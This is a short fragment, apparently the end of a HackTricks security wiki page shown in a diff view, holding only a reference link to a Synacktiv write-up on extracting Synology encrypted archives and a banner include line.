- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user